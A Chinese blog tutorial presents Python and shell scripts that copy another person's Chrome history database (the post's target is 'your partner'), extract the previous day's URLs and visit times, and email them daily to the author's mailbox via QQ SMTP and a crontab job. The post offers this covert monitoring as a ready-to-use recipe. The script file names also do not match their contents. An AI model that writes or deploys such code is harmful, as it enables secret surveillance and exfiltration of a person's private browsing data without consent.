Python实时监控网站浏览记录实现过程详解


Posted in Python onJuly 14, 2020

需求:

(1) 获取你对象chrome前一天的浏览记录中的所有网址(url)和访问时间,并存在一个txt文件中

(2)将这个txt文件发送给指定的邮箱地址(你的邮箱)

(3)建立例行任务,每天定时自动完成这些操作,你就可以通过邮件查看你对象每天看啥了

准备

  • macOS Sierra
  • Python3.6
  • Chrome

发送邮件的qq邮箱地址

qq邮箱授权码

SMTP服务器地址 : smtp.qq.com

接受邮件的邮箱地址

执行:

(1) 首先我们用DB Browser for SQLite来看下History中的urls表的数据组成

从表中可以看出,我们要的网址和访问时间就在urls.url和urls.last_visit_time中

Python实时监控网站浏览记录实现过程详解

(2) get_history.py:

# -*- coding: utf-8 -*-
from email import encoders
from email.header import Header
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.base import MIMEBase
from email.utils import parseaddr, formataddr
import smtplib
import argparse

# 1.文件执行的需要的参数(result.txt)
parser = argparse.ArgumentParser()
parser.add_argument('affix_file',help='the path of the affix')
args = parser.parse_args()


# 2.格式化一个邮件地址和邮件信息
def _format_addr(s):
  name, addr = parseaddr(s)
  return formataddr((Header(name, 'utf-8').encode(), addr))

#连接服务器(这里大家好改成自己的!)
from_addr = "771568102@qq.com" #发件人邮箱
password = "xxxxxxxx" #发件人邮箱授权码
to_addr = "2160802033@cnu.edu.cn" #收件人邮箱
smtp_server = "smtp.qq.com" #SMTP服务器地址

#邮件发件人名字、收件人名字、主题
msg = MIMEMultipart()
msg['From'] = _format_addr('风一样的女子 <%s>' % from_addr)
msg['To'] = _format_addr('风一样的男子 <%s>' % to_addr)
msg['Subject'] = Header('chrome历史记录每日更新', 'utf-8').encode()

# 邮件正文是MIMEText:
msg.attach(MIMEText('窥探隐私是犯法的啊!', 'plain', 'utf-8'))

# 添加附件就是加上一个MIMEBase,从本地读取一个txt文件:
with open(args.affix_file, 'r') as f:
  # 设置附件的MIME和文件名,这里是py类型:
  mime = MIMEBase('result', 'txt', filename='result.txt')
  # 加上必要的头信息:
  mime.add_header('Content-Disposition', 'attachment', filename='result.txt')
  mime.add_header('Content-ID', '<0>')
  mime.add_header('X-Attachment-Id', '0')
  # 把附件的内容读进来:
  mime.set_payload(f.read())
  # 用Base64编码:
  encoders.encode_base64(mime)
  # 添加到MIMEMultipart:
  msg.attach(mime)

#3.通过SMTP发送出去
server = smtplib.SMTP(smtp_server, 25)
server.set_debuglevel(1)
server.login(from_addr, password)
server.sendmail(from_addr, [to_addr], msg.as_string())
server.quit()

通过这个脚本,我们可以把url和访问时间提取出来,并且存储在

result.txt中,下图就是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(3) send_email.py:

# -*- coding: utf-8 -*-
import sqlite3

#大家要改成自己的路径
history_db = '/Users/Marcel/Desktop/tmp/code/chrome_history/History'

# 1.连接history_db
c = sqlite3.connect(history_db)
cursor = c.cursor()


# 2.选取我们想要的网址和访问时间
try:
  select_statement = "SELECT url,datetime(last_visit_time/1000000-11644473600,'unixepoch','localtime') AS tm FROM urls WHERE julianday('now') - julianday(tm) < 1 ORDER BY tm;"
  cursor.execute(select_statement)
except sqlite3.OperationalError:
  print("[!] The database is locked! Please exit Chrome and run the script again.")
  quit()

# 3.将网址和访问时间存入result.txt文件
results = cursor.fetchall()
with open('/Users/Marcel/Desktop/tmp/code/chrome_history/result.txt','w') as f:#改成自己的路径
  for i in range(len(results)):
    f.write(results[i][1]+'\n')
    f.write(results[i][0]+'\n')

通过这个脚本,我们可以把result.txt作为附件,发送给指定邮箱地

址,下图是我得到的部分结果

Python实时监控网站浏览记录实现过程详解

(4) ./start.sh :其实,前面几个脚本,已经完成了我们的任务,但是每次都执行这么多脚

本,太麻烦了,我们可以把这些脚本的执行语句整理成一个shell脚本。

cp /Users/Marcel/Library/Application\ Support/Google/Chrome/Default/History /Users/Marcel/Desktop/tmp/code/chrome_history/
python /Users/Marcel/Desktop/tmp/code/chrome_history/get_history.py
python /Users/Marcel/Desktop/tmp/code/chrome_history/send_mail.py /Users/Marcel/Desktop/tmp/code/chrome_history/result.txt

这样,我们在终端执行./start.sh,系统就会帮我们把这三条语句依次执行了

注意:由于crontab命令需要绝对路径,所以这里的路径都是用绝对路径

(5) crontab :如果使用了这个命令,在电脑开机并且联网的情况,系统会自动执行,然后把结果发到你的邮箱

使用方法:在终端下输入crontab -e,使用vim输入下面一行代码就可以了

20 14 * * * /Users/Marcel/Desktop/tmp/code/chrome_history/start.sh

说明:前面两个数字,就是你每天执行这个脚本的时间,我这里设置的是14:20。

重要的事再说一遍,一定要写绝对路径!!

以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python网络编程学习笔记(二):socket建立网络客户端
Jun 09 Python
Python中asyncore异步模块的用法及实现httpclient的实例
Jun 28 Python
浅谈python中字典append 到list 后值的改变问题
May 04 Python
python初学者,用python实现基本的学生管理系统(python3)代码实例
Apr 10 Python
Python树莓派学习笔记之UDP传输视频帧操作详解
Nov 15 Python
python自动分箱,计算woe,iv的实例代码
Nov 22 Python
基于Tensorflow批量数据的输入实现方式
Feb 05 Python
解决pytorch-yolov3 train 报错的问题
Feb 18 Python
解决django中form表单设置action后无法回到原页面的问题
Mar 13 Python
Win10下用Anaconda安装TensorFlow(图文教程)
Jun 18 Python
python之openpyxl模块的安装和基本用法(excel管理)
Feb 03 Python
python数据分析之单因素分析线性拟合及地理编码
Jun 25 Python
python3 中时间戳、时间、日期的转换和加减操作
Jul 14 #Python
python转化excel数字日期为标准日期操作
Jul 14 #Python
Python 实现将某一列设置为str类型
Jul 14 #Python
使用python编写一个语音朗读闹钟功能的示例代码
Jul 14 #Python
利用python对excel中一列的时间数据更改格式操作
Jul 14 #Python
Python库安装速度过慢解决方案
Jul 14 #Python
解决Python paramiko 模块远程执行ssh 命令 nohup 不生效的问题
Jul 14 #Python
You might like
php中模拟POST传递数据的两种方法分享
2011/09/16 PHP
PHP入门教程之会话控制技巧(cookie与session)
2016/09/11 PHP
浅谈PHP安全防护之Web攻击
2017/01/03 PHP
document.open() 与 document.write()的区别
2007/08/13 Javascript
利用WebBrowser彻底解决Web打印问题(包括后台打印)
2009/06/22 Javascript
javascript计算星座属相(十二生肖属相)示例代码
2014/01/09 Javascript
jquery ajax 局部刷新小案例
2014/02/08 Javascript
nodejs开发微博实例
2015/03/25 NodeJs
JavaScript实现仿淘宝商品购买数量的增减效果
2016/01/22 Javascript
Bootstrap开关(switch)控件学习笔记分享
2016/05/30 Javascript
浅谈js和css内联外联注意事项
2016/06/30 Javascript
微信小程序 视图层(xx.xml)和逻辑层(xx.js)详细介绍
2016/10/13 Javascript
js replace()去除代码中空格的实例
2017/02/14 Javascript
Vue常见面试题整理【值得收藏】
2018/09/20 Javascript
JS中自定义事件的使用与触发操作实例分析
2019/11/01 Javascript
如何实现js拖拽效果及原理解析
2020/05/08 Javascript
jQuery实现本地存储
2020/12/22 jQuery
Python中import导入上一级目录模块及循环import问题的解决
2016/06/04 Python
HTML中使用python屏蔽一些基本功能的方法
2017/07/07 Python
单利模式及python实现方式详解
2018/03/20 Python
基于python批量处理dat文件及科学计算方法详解
2018/05/08 Python
pyqt5之将textBrowser的内容写入txt文档的方法
2019/06/21 Python
Python中__repr__和__str__区别详解
2019/11/07 Python
简单了解django处理跨域请求最佳解决方案
2020/03/25 Python
aws 通过boto3 python脚本打pach的实现方法
2020/05/10 Python
Python getsizeof()和getsize()区分详解
2020/11/20 Python
HTML5通过navigator.mediaDevices.getUserMedia调用手机摄像头问题
2020/04/27 HTML / CSS
Puritan’s Pride(普丽普莱)官方网站:美国最大最全的保健品公司之一
2016/10/23 全球购物
写好自荐信要注意的问题
2013/11/10 职场文书
《纸船和风筝》教学反思
2014/02/15 职场文书
小学生中国梦演讲稿
2014/04/23 职场文书
建筑安全生产目标责任书
2014/07/23 职场文书
欢迎家长标语
2014/10/08 职场文书
化验室岗位职责
2015/02/14 职场文书
2015年话务员工作总结
2015/04/29 职场文书
个人工作失误的保证书怎么写?
2019/06/21 职场文书